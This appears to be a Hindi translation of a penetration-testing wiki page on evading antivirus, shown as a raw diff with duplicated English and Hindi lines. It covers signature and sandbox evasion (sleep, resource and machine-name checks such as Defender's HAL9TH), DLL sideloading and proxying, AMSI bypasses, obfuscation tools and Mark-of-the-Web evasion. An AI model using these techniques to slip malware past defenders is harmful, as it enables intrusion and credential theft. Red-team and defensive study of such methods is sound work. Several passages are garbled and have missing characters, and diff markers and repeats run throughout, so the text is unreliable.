स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करना आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
* **एन्क्रिप्शन**
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
* **Obfuscation**
* **ओबफस्केशन**
कभी-कभी आपको अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं।
* **Custom tooling**
* **कस्टम टूलिंग**
यदि आप अपने स्वयं के उपकरण विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसमें बहुत समय और प्रयास लगता है।
यदि आप अपने खुद के टूल विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसमें बहुत समय और प्रयास लगता है।
{% hint style="info" %}
Windows Defender की स्थैतिक पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर डिफेंडर को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं।
Windows Defender स्थिर पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में कौन सी स्ट्रिंग्स या बाइट्स फ्लैग किए गए हैं।
{% endhint %}
मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV Evasion के बारे में देखें।
मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV बचाव के बारे में देखें।
### **Dynamic analysis**
### **गतिशील विश्लेषण**
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों पर नज़र रखता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
* **Sleep before execution** इसे लागू करने के तरीके के आधार पर, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे स्लीप का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को छोड़ सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है।
* **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथ वे उपयगकर्त मश कर सकते हैं आप यह बहुत रचनत्मक सकते हैं, उदहरण के ि CPU के पम यह तक ि फैन स्प ंच करके, सब कुछ सैंडबक्स में गू नह ा।
* **Machine-specific checks** यदि आप उस उपयोगकर्ता को लक्षित करना चाहते हैं जिसकी कार्यस्थल "contoso.local" डोमेन से जुड़ी है, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट किए गए एक से मेल खाता है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं।
* **कार्यवाही से पहले सोना** यह इस पर निर्भर करता है कि इसे कैसे लागू किया गया है, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे समय तक सोने का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स सोने को छोड़ सकते हैं, यह इस पर निर्भर करता है कि इसे कैसे लागू किया गया है।
* **मशीन के संसाधनों की जांच करना** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथ वे उपयगकर्त मश कर सकते हैं आप यह बहुत रचनत्मक सकते हैं, उदहरण के ि CPU के पम यह तक ि फैन स्प ंच करके, सब कुछ सैंडबक्स में गू नह ा।
* **मशीन-विशिष्ट जांच** यदि आप उस उपयोगकर्ता को लक्षित करना चाहते हैं जिसकी कार्यस्थल "contoso.local" डोमेन से जुड़ी है, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट डोमेन से मेल खाता है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकलने के लिए बना सकते हैं।
यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप डिफेंडर के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं।
यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप Defender के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए बना सकते हैं।
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>स्रोत: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
सैंडबॉक्स के खिलाफ जाने के लिए [@mgeeky](https://twitter.com/mariuszbit) से कुछ अन्य बहुत अच्छे सुझाव
[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे सुझाव
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
जैसा कि हमने इस पोस्ट में पहले कहा है, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है।
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को बायपास करने के लिए काम करना एक बुरा सपना है, इसलिए आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए बस विकल्पों की तलाश करें।
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग किया गया मैलवेयर है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को बायपास करने के लिए काम करना एक बुरा सपना है, इसलिए आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए बस विकल्पों की तलाश करें।
{% hint style="info" %}
जब आप अपने पेलोड को बचने के लिए संशोधित करते हैं, तो सुनिश्चित करें कि आप डिफेंडर में **स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचने को प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
जब आप अपने पैलोड को बचाव के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचाव प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
{% endhint %}
## EXEs vs DLLs
## EXEs बनाम DLLs
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए कुछ मामलों में पहचान से बचने के लिए इसका उपयोग करना एक बहुत सरल चाल है (यदि आपके पेलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए उपयोग करने के लिए एक बहुत सरल चाल है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पेलोड antiscan.me पर 4/26 की पहचान दर है, जबकि EXE पेलोड की पहचान दर 7/26 है।
जैसा कि हम इस छवि में देख सकते हैं, Havoc से एक DLL पैलोड का एंटीस्कैन.me में पहचान दर 4/26 है, जबकि EXE पैलोड की पहचान दर 7/26 है।
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me पर सामान्य Havoc EXE पेलोड बनाम सामान्य Havoc DLL की तुलना</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>एक सामान्य Havoc EXE पैलोड बनाम एक सामान्य Havoc DLL की एंटीस्कैन.me तुलना</p></figcaption></figure>
अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक चुपचाप काम कर सकें।
## DLL Sideloading & Proxying
## DLL साइडलोडिंग और प्रॉक्सींग
**DLL Sideloading** लोडर द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पेलोड को एक साथ रखा जाता है।
**DLL साइडलोडिंग** लोडर द्वारा उपयोग किए जाने वाले DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पैलोड्स को एक साथ रखा जाता है।
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पॉवरशेल स्क्रिप्ट का उपयोग करके DLL Sideloading के प्रति संवेदनशील कार्यक्रमों की जांच कर सकते हैं:
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पॉवरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के प्रति संवेदनशील कार्यक्रमों की जांच कर सकते हैं:
{% code overflow="wrap" %}
```powershell
@ -100,7 +106,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की अपेक्षा करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को आगे बढ़ाता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
मैं [@flangvik](https://twitter.com/Flangvik/) से [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
@ -129,12 +135,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t का ट्विच VOD](https://www.twitch.tv/videos/1644171543) DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
मैं **गंभीरता से अनुशंसा** करता हूँ कि आप [S3cur3Th1sSh1t का ट्विच VOD](https://www.twitch.tv/videos/1644171543) DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
@ -156,15 +162,15 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **प्रत्यक्ष रूप से मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
AMSI "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **ीधे मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
AMSI सुविधा Windows के इन घटकों में एकीकृत है।
* उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन)
* PowerShell (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
* Windows स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
* जावास्क्रिप्ट और VBScript
* ऑफिस VBA मैक्रोज़
* JavaScript और VBScript
* Office VBA मैक्रोज़
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक रूप में उजागर करके जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट।
@ -182,7 +188,7 @@ AMSI को बायपास करने के कुछ तरीके ह
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे निष्क्रमण के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना फ्लैग किया गया है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना फ्लैग किया गया है।
* **AMSI बायपास**
@ -198,7 +204,7 @@ AMSI प्रारंभिककरण को विफल (amsiInitFailed)
```
{% endcode %}
यह सब एक पावरशेल कोड की एक पंक्ति थी जिसने वर्तमान पावरशेल प्रक्रिया के लिए AMSI को अनुपयोगी बना दिया। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
बस एक पंक्ति का पावरशेल कोड AMSI को वर्तमान पावरशेल प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
```powershell
@ -224,9 +230,9 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
{% endhint %}
AMSI को powershell के साथ बायपास करने के लिए कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रिपॉजिटरी](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
AMSI को powershell के साथ बायपास करने के लिए कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से प्रत्येक नए Powersh को पैच करेगी
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से प्रत्येक नए Powersh को पैच करेगी
## Obfuscation
@ -234,11 +240,11 @@ AMSI को powershell के साथ बायपास करने के
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अस्पष्टता उपकरण**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अस्पष्टता](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह प्रदर्शित करता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, अस्पष्ट कोड कैसे उत्पन्न किया जाए।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग ढांचे द्वारा उत्पन्न अस्पष्ट संचालन की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टता उपकरण है जो विभिन्न प्रकार की pe फ़ाइलों को अस्पष्ट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं।
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-ग्रेन कोड अस्पष्टता ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड अस्पष्टता ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को विफल करता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है।
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है।
@ -250,17 +256,17 @@ Microsoft Defender SmartScreen एक सुरक्षा तंत्र ह
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को सक्रिय करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाई जाती है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच करना।</p></figcaption></figure>
{% hint style="info" %}
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को ट्रिगर नहीं करेंगी**।
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**।
{% endhint %}
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **गैर NTFS** वॉल्यूम पर **लागू** नहीं किया जा सकता।
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर **लागू नहीं** किया जा सकता है
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -308,7 +314,7 @@ C# बाइनरीज़ को मेमोरी में लोड कर
* **Inline**
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराए बिना बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत होता है, तो **आपके बीकन को खोने की संभावना** **बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराए बिना बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना** **बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -316,23 +322,23 @@ C# बाइनरीज़ को मेमोरी में लोड कर
यदि आप C# असेंबली लोडिंग के बारे में अधिक पढ़ना चाहते हैं, तो कृपया इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %}
आप C# असेंबली को **PowerShell से भी लोड कर सकते हैं**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
आप C# असेंबलीज़ को **PowerShell से भी लोड कर सकते हैं**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना
